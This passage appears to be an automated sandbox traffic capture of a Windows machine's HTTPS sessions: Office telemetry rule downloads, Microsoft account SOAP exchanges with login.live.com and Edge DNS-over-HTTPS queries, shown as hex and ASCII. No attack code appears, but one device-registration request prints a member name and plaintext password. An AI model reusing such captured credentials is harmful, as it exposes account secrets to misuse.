2024-10-31 02:04:27 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:27 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 7ae13fc9-101e-005a-3933-26882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020427Z-17c5cb586f67hfgj2durhqcxk800000007r000000000hyat x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: f296e79a-801e-008c-04d4-297130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-17c5cb586f6tg7hbbt0rp19dan000000011000000000s5q5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:27 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 7c52a88a-f01e-00aa-0993-2a8521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-159b85dff8fhxqdbhC1DFW5pzn000000016g000000005kt5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-16849878b78fssff8btnns3b140000000980000000001xne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:28 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: b19a9190-b01e-00ab-7309-28dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-15b8d89586f8l5961kfst8fpb00000000mng00000000hq01 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 02:04:28 UTC	491	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T020428Z-16849878b787bfsh7zgp804my400000007kg00000000qhx5 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 02:04:28 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49816	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-10-31 02:04:28 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-10-31 02:04:28 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Thu, 31 Oct 2024 02:03:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: b75310f0-1a40-46ca-8377-feca3511e942 PPServer: PPV: 30 H: PH1PEPF0001B743 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 02:04:27 GMT Connection: close Content-Length: 1276
2024-10-31 02:04:28 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49819	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-10-31 02:04:28 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 6d 66 6e 6a 62 6c 67 6a 70 63 6a 73 6a 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 3f 45 60 47 3f 64 46 52 47 69 44 63 3f 53 42 79 48 5f 75 7a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02qmfnjblgjpcjsj</Membername><Password>?E`G?dFRGiDc?SByH_uz</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-10-31 02:04:38 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Thu, 31 Oct 2024 02:03:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 2a632239-0aa7-450a-99c2-5f4ac3b4b205 PPServer: PPV: 30 H: PH1PEPF00018BD9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Thu, 31 Oct 2024 02:04:37 GMT Connection: close Content-Length: 17166
2024-10-31 02:04:38 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 45 35 43 30 46 43 42 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 65 36 63 34 63 64 32 34 2d 35 34 34 64 2d 34 39 35 33 2d 39 66 64 38 2d 32 38 63 61 38 64 31 65 61 65 64 61 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00FE5C0FCBF</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="e6c4cd24-544d-4953-9fd8-28ca8d1eaeda" LicenseID="3252b20c-d425-4711
2024-10-31 02:04:38 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49832	172.64.41.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 02:04:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-10-31 02:04:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-10-31 02:04:28 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 31 Oct 2024 02:04:28 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8db013166cd34671-DFW alt-svc: h3=":443"; ma=86400
2024-10-31 02:04:28 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 c2 00 04 8e fa 73 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcoms^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49830	162.159.61.3	443	7060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
